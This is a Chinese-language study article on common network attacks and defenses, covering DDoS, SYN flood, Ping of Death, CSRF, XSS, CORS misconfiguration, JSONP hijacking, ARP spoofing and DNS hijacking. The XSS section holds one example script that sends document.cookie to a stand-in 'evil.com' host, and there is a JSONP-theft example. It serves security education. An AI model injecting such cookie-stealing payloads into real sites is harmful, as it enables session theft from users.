当前位置: 首页 > article >正文

常见网络攻击

DDoS攻击,CC攻击CC攻击DDoS的一种发送大量的合法请求消耗应用层的资源(CPU,内存,数据等),耗尽资源,比如在教务网站中写死循环脚本持续访问某个资源,无技术难度防御: 对同IP限流,验证码,行为分析DDoS全名分布式拒绝攻击,攻击者控制大量僵尸设备(被植入病毒的电脑,服务器等)在同一时间向一个目标发送海量请求导致目标网络拥堵,系统资源耗尽无法为正常用户提供服务,DDoS可以发生在应用层,运输层,网络层,常用方式是UDP洪水,SYN洪水,PoD核心特点:分布式: 攻击者流量往往来自不同地方,无法通过封锁单一IP或小范围IP防护消耗资源: 耗尽目标带宽,CPU,内存或连接数难以追踪: 攻击源头是大量被劫持的僵尸设备,难以追溯真正攻击者常见攻击类型:流量型攻击: 用海量数据包塞满带宽,如UDP(运输层协议)洪水,ICMP(网络层协议)洪水协议型攻击: 利用协议漏洞消耗服务器资源,如SYN洪水,Ping of DeathSYN洪水: 即三次握手只进行第一次,在服务器响应之后不回应,早期是收到第一个SYN包之后就会把这个请求塞进队列,然后等待之后的握手,但是由于一直没有进行后面的握手导致队列被塞满,新的请求被丢弃,现在在启用SYNCookie的情况下都是第二次握手服务器发送序列号,第三次获取到正确的返回序列号之后才进队列Ping of Death: 旧式操作系统缓冲区大概65kb,这时候应用层构造70kb的ICMP数据,直接传给网络层(不经过运输层),注意通过原始套接字应用可以直接构造TCP包/IP包/ICMP包,网络层ICMP协议把他包装成ICMP包,IP协议加IP头并分片(每片小于1500B)发给数据链路层加Mac头尾,然后发给物理层,之后开始解包过程,先去Mac头尾和IP头尾还原分片,然后网络层将各个分片拼起来,注意,这里就是问题所在,由于分片是一个一个缓存的,即假如是60kg的包分60个1kg的,缓冲区是65kg,那么会在第一个1kg发过来的时候存进缓冲区,第二个发过来存进缓冲区…都收到后把60个1kg拼接成60kg的,但是如果是70kg,那当第66个包过来的时候他就缓冲区溢出了操作系统崩溃了,现在都是在第66个包到来之前先检查这个包如果加进来是否溢出,如果会溢出就丢弃这个包和所有同一组的包应用层攻击: 模拟正常的HTTP请求,让Web服务器疲于处理,比如HTTP洪水,Slowloris(慢速发送不完整请求),CC攻击实际上就是应用层攻击的一种防御:增加带宽,但是这样成本高效率低部署专业服务,防火墙等配置策略: 限制单IP连接数,启动CDN,启动SYNCookie(就是原本是第一次握手的时候分配资源,现在是三次握手完成之后分配)等SYN Cookie现在都是默认开启,检测到攻击(即检测到半连接队列被填满)的时候自动激活跨域攻击CSRF: 由于同源策略只限制读取,并不限制发送,所以无法约束CSRF,CSRF攻击是利用已登录的网站浏览器发请求的时候会携带Cookie这一特性来进行攻击,主要用于篡改,不用于窃取解决方法: 设置Cookie的SameSite属性为Strict可以禁止第三方站点发起请求的时候携带Cookie,但是这样一来点击链接跳转页面的时候也会丢失Cookie,影响用户体验 / SameSiteLaxCSRF Token,即服务端生成一个随机字符串,用户在提交表单的时候提交这个token,服务端进行校验XSS: 跨站脚本攻击,注意这个其实本质上不依赖跨域,因为往往就是在目标页面注入的,比如在某个网站找到漏洞植入script fetch‘https//evil.com/stealcookie’document.cookie /script解决方法: 对用户输入进行严格过滤和转义输出编码),给Cookie设置HttpOnlyCORS配置不当: 比如配置成通配符*或动态反射用户输入的Orign而不加校验,这会导致恶意请求不但能请求还能读取此外,配置成null也很危险,about:blank会继承发起的页面的源,但是如果是直接在页面输入about:blank那他的源就是null还有iframe当设置了sandbox但是sandbox不包含allow-same-origin的时候源会被设置为nullJSONP劫持: 如果某个接口使用了JSONP回调例如https//api.com/usercallbackjsonHandler攻击者可以在自己的页面构造script src“https//api.com/usercallbackstealData”。当用户访问攻击者页面时用户相当于在攻击者页面的上下文中以登录态执行了该JSONP接口返回的数据会流入攻击者定义的stealData函数中导致数据泄露。注意现在已经基本失效,因为Lax下script标签根本不会携带Cookie,除非手动把SameLite设置成None解决方法: 不使用JSONP中间人攻击即在通信双方中间拦截,使得通信双方的请求和响应都经过自己的读取和处理ARP欺骗伪造ARP响应,让目标主机误以为自己的Mac就是网关DNS劫持DNS解析是域名ip的解析过程,DNS劫持就是在这个解析过程动手脚来让DNS解析指向错误的ip地址,往往是钓鱼网站或病毒下载源本地DNS: 篡改你本地电脑或路由器的DNS缓存中间人攻击在网络链路上拦截DNS请求并返回虚假的DNS响应,往往在公共WIFI网络中风险较高DNS服务器劫持,攻击DNS服务器域注册商劫持:篡改域注册商的记录检查:如果网站支持HTTPS,会提示证书错误dig 域名来检查对比已知的正确IP是否一致临时把DNS更换为公共DNS(如8.8.8.8或1.1.1.1),如果问题消失是本地运营商DNS被劫持防范:使用加密DNS修改路由器默认密码来加固路由器优先访问HTTPS使用信誉良好的公共DNS伪造WIFI热点架设一个跟合法WIFI同名的热点XSS攻击即跨站脚本攻击,用户在你的网站中插入恶意代码,让其他的浏览器执行这些代码反射型XSS(非持久化)(前端发带恶意参数请求,服务器端反射回来的恶意参数): 制造一个带有恶意代码的链接给用户,比如淘宝链接,参数为恶意代码,比如就会对这些用户进行攻击DOM型XSS(前端JS自己写入DOM的): 一些危险的直接写入用户未处理内容的代码可能会把用户故意写的dom写进去, 比如:**document.write()**动态写入内容,如果要写入的内容包含用户的输入,就可能被用户直接输入dom让js解析;innerHTML,同前一个;outerHTML,获取或替换html(包括自己),同前一个location.hash,这个比较特殊,url的结构是url主体?参数#片段标识符,location.search是获取参数,这个会发送到服务器,这个属于反射型XSS,而location.hash是获取片段标识符,这个东西只在前端用,不会发送到服务器,这个是DOM型XSS现代框架vue/react等默认防XSS,因为里面是自动转义的

相关文章:

常见网络攻击

DDoS攻击,CC攻击 CC攻击 DDoS的一种 发送大量的合法请求消耗应用层的资源(CPU,内存,数据等),耗尽资源,比如在教务网站中写死循环脚本持续访问某个资源,无技术难度 防御: 对同IP限流,验证码,行为分析 DDoS 全名分布式拒绝攻击,攻击者控制大量僵尸设备(被植入病毒的电脑,服…...

NaViL-9B多模态模型应用:智能识别图片内容,轻松实现图文对话

NaViL-9B多模态模型应用:智能识别图片内容,轻松实现图文对话 1. NaViL-9B模型概述 NaViL-9B是上海人工智能实验室研发的原生多模态大语言模型,具备同时处理文本和图像信息的能力。与传统的单一模态模型不同,NaViL-9B能够理解图片…...

从linspace到logspace:Matlab新手必须掌握的两种‘间距’生成函数对比指南

从linspace到logspace:Matlab新手必须掌握的两种‘间距’生成函数对比指南 刚接触Matlab的工程师或科研人员,常常会被各种数据生成函数弄得眼花缭乱。特别是在需要创建特定间隔的数值序列时,linspace和logspace这两个看似简单的函数&#xff…...

企业级大模型API中转站实测对比:主线、备线怎么排更合理

很多团队做大模型接入时,会先问一个看起来很直接的问题:哪家 API 中转站更强。可只要项目进入正式阶段,你就会发现,这个问题本身问得还不够工程化。更现实的问法通常是:谁适合做主线,谁适合做备线&#xff…...

品牌却从未出现在 AI 搜索回答推荐中

说真的,现在绝大多数品牌在 AI 搜索里拿不到曝光,根本不是内容发的少,也不是全网营销做的不好,是从根上就没搞懂,AI 搜索选内容、推品牌的逻辑,和传统的全网营销,完全是两码事。截至 2025 年 12…...

Flux Sea Studio 性能基准测试:不同GPU型号下的生成速度对比

Flux Sea Studio 性能基准测试:不同GPU型号下的生成速度对比 最近在折腾AI生图,特别是用Flux Sea Studio,发现一个挺实际的问题:选什么GPU?是咬牙上顶配的RTX 4090,还是性价比更高的RTX 3080?它…...

证券行业-股票行情指标模型的简单介绍

在证券行业,股票行情指标模型是连接“数据”与“决策”的桥梁。它不仅仅是看K线,而是通过一套标准化的数学逻辑,将无序的价格波动转化为可执行的交易信号。这些模型主要分为技术分析模型(看图择时)和量化因子模型&…...

2026 最新 从零搭建本地大模型 RAG 知识库问答系统:基于 Llama 3.2 8B 量化版 + LangChain+Chroma,全流程代码实操 + 踩坑指南

2026最新 从零搭建本地大模型RAG知识库问答系统:基于Llama 3.2 8B量化版LangChainChroma,全流程代码实操踩坑指南 【本文首发CSDN,未经授权禁止转载】 文章目录 文章目录2026最新 从零搭建本地大模型RAG知识库问答系统:基于Llam…...

餐饮零售AI视觉助手Ostrakon-VL-8B:开箱即用,一键部署实战

餐饮零售AI视觉助手Ostrakon-VL-8B:开箱即用,一键部署实战 1. 为什么选择Ostrakon-VL-8B? 在餐饮零售行业,每天都有大量视觉数据需要处理:货架商品、门店环境、价格标签等。传统人工检查方式效率低、成本高且容易出错…...

STEP3-VL-10B惊艳效果:手写体+印刷体混合文档端到端识别与语义整合

STEP3-VL-10B惊艳效果:手写体印刷体混合文档端到端识别与语义整合 1. 引言 想象一下,你手头有一份会议记录,上面既有打印的会议议程,又有参会者手写的笔记和批注。或者是一份学生作业,题目是印刷体,答案却…...

一键部署Pi0具身智能:快速体验3.5B参数模型,生成标准机器人控制数据

一键部署Pi0具身智能:快速体验3.5B参数模型,生成标准机器人控制数据 1. Pi0具身智能模型简介 Pi0(π₀)是Physical Intelligence公司开发的视觉-语言-动作(VLA)基础模型,代表了当前具身智能领…...

YOLOv10镜像体验:开箱即用的目标检测环境,省心又高效

YOLOv10镜像体验:开箱即用的目标检测环境,省心又高效 1. 为什么选择YOLOv10镜像 在目标检测领域,环境配置一直是开发者面临的最大痛点之一。我曾经花费整整两天时间调试CUDA版本与PyTorch的兼容性问题,这种经历相信很多同行都深有…...

2026企业文档选型白皮书:功能、技术栈、私有化部署与采购建议

核心结论:企业文档工具市场年复合增长率达46.7%。对于有数据安全、二次开发需求的企业,支持私有化部署源码开放的方案(如JVS企业文档)已成为技术团队的优先选择。本文基于11款主流产品深度评测,提供功能对比矩阵、技术…...

从零搭建个人知识库问答系统:我的 Spring AI + RAG 学习实践

一个基于 Spring AI 和 RAG 技术的个人知识库问答 Agent 项目分享 地址:nestNe/personal-knowledge-rag: 基于SpringAI,通过上传自己的知识库,创建个性化的模型回答问题https://github.com/nestNe/personal-knowledge-rag目前还在开发中&…...

LLM生成代码如何逃过SAST/SCA检测?:一文拆解3层语义级审查盲区与可落地的增强审查Checklist(含YAML模板)

第一章:LLM生成代码如何逃过SAST/SCA检测?:一文拆解3层语义级审查盲区与可落地的增强审查Checklist(含YAML模板) 2026奇点智能技术大会(https://ml-summit.org) 大语言模型生成的代码常在语法合法、结构合规的前提下…...

告别AD7689!用STM32双SPI同步采集,低成本升级到16通道AD7616的实战指南

从AD7689到AD7616:基于STM32双SPI的16通道同步采集系统实战 在工业自动化、医疗设备和测试测量领域,多通道高精度数据采集系统的需求日益增长。许多工程师最初会选择AD7689这类单通道ADC作为解决方案,但随着项目复杂度提升,通道扩…...

SerialPlot终极指南:3分钟快速上手串口数据可视化工具

SerialPlot终极指南:3分钟快速上手串口数据可视化工具 【免费下载链接】serialplot Small and simple software for plotting data from serial port in realtime. 项目地址: https://gitcode.com/gh_mirrors/se/serialplot 你是否曾面对串口输出的海量数字数…...

用陶晶驰串口屏和STM32F407做个简易扫频仪:手把手教你绘制幅频特性曲线

用陶晶驰串口屏和STM32F407打造扫频仪:从硬件搭建到曲线绘制的完整指南 在电子测量领域,扫频仪是分析电路频率响应的基础工具。商用设备往往价格昂贵,而利用陶晶驰串口屏和STM32F407开发板,我们可以构建一个成本低廉但功能完备的简…...

行业词典融入:提升gte-base-zh在垂直领域的语义理解

行业词典融入:提升gte-base-zh在垂直领域的语义理解 最近在做一个金融领域的智能问答项目,用到了gte-base-zh这个中文通用文本嵌入模型。模型本身效果不错,但一遇到“量化宽松”、“M2增速”、“同业存单”这类专业术语,语义抓取…...

TMS320F28335实战:IQmath库从安装到三角函数应用全解析

TMS320F28335实战:IQmath库从安装到三角函数应用全解析 在嵌入式系统开发中,实时计算能力往往决定着整个系统的性能上限。德州仪器(TI)的TMS320F28335作为一款广泛应用于工业控制、电机驱动和电力电子领域的DSP芯片,其强大的浮点运算单元(FPU…...

保姆级教学:Sambert多情感语音合成镜像部署与使用全攻略

保姆级教学:Sambert多情感语音合成镜像部署与使用全攻略 1. 准备工作:了解Sambert语音合成镜像 Sambert多情感中文语音合成镜像是一个开箱即用的语音生成解决方案,基于阿里达摩院研发的Sambert-HiFiGAN模型构建。这个镜像已经预先解决了常见…...

抖音无水印下载终极指南:douyin-downloader 让你的视频素材管理更简单

抖音无水印下载终极指南:douyin-downloader 让你的视频素材管理更简单 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser…...

Clawdbot代理网关快速上手:5分钟部署Qwen3:32B本地大模型

Clawdbot代理网关快速上手:5分钟部署Qwen3:32B本地大模型 1. 为什么选择ClawdbotQwen3:32B组合 在本地部署大语言模型时,开发者常面临两个核心痛点:一是缺乏友好的交互界面,二是模型管理复杂。Clawdbot代理网关与Qwen3:32B的组合…...

vue openlayers地图加载大量点位时优化

vue openlayers地图加载大量点位时优化 如果一次性加载上万个带标题的点位,会造成地图卡顿, 优化方法是只加载当前视口内的点位,且只显示屏幕中心的点位的标题, 每次拖动地图只加载视口内的点位 工具类OlViewportPointUtil.js import VectorLayer from ol/layer/Vector; import…...

SAP硬件选择详解:服务器、存储与网络的全面解析

硬件作为SAP系统的基石,涵盖了服务器、磁盘存储系统以及网络设备等多个组件。硬件包括服务器、存储、网络设备,共同构建SAP架构。这些硬件组件必须协同工作,才能构建出高效稳定的SAP基础架构。选择硬件提供商的重要性不容忽视。选择提供商要考…...

清音刻墨Qwen3进阶技巧:参数调整与批量处理功能详解

清音刻墨Qwen3进阶技巧:参数调整与批量处理功能详解 1. 引言:从基础到进阶 如果你已经体验过清音刻墨Qwen3字幕对齐系统的基础功能,可能会惊叹于它"字字精准,秒秒不差"的自动对齐能力。但这款基于Qwen3-ForcedAligner…...

大疆M4系列+YOLOV8识别算法 如何训练无人机罂粟识别检测数据集 让非法种植无处可藏:无人机+AI罂粟识别数据集发布,覆盖花期/果期多阶段检测 无人机俯拍+AI识别罂粟

无人机俯拍AI识别罂粟,准确率超95%!,助力禁毒攻坚》​ 《科技禁毒再升级!YOLO实测mAP 83.9%》​ 《让非法种植无处可藏:无人机AI罂粟识别数据集发布,覆盖花期/果期多阶段检测 智慧巡检 {专业级AI巡查无人机…...

2026年6月PMP考试最后两个月:想上岸?先把这5件事搞明白!

办公室小刘在群里发了一条消息,气氛瞬间紧张起来: “刚收到基金会通知,4月16日早上10点抢考位!大家准备好没有?” 群里十几个人,只有两个人回了“准备好了”。其他人不是没完成英文报名,就是连基…...

Spring with AI (): 定制对话——Prompt模板引入

从 UI 工程师到 AI 应用架构者 13 年前,我的工作是让按钮在 IE6 上对齐; 13 年后,我用 fetch-event-source 订阅大模型的“思维流”,用 OCR 解锁图片中的文字——前端,正在成为 AI 产品的第一道体验防线。 最近&#x…...

别再只用数组了!用MATLAB结构体(struct)管理实验数据的5个实战技巧

别再只用数组了!用MATLAB结构体(struct)管理实验数据的5个实战技巧 在实验室里泡了三年后,我终于受够了那些散落在脚本各处的data1、data2变量,以及需要反复查阅注释才能理解的复杂元胞数组。直到有天看到隔壁工位的博…...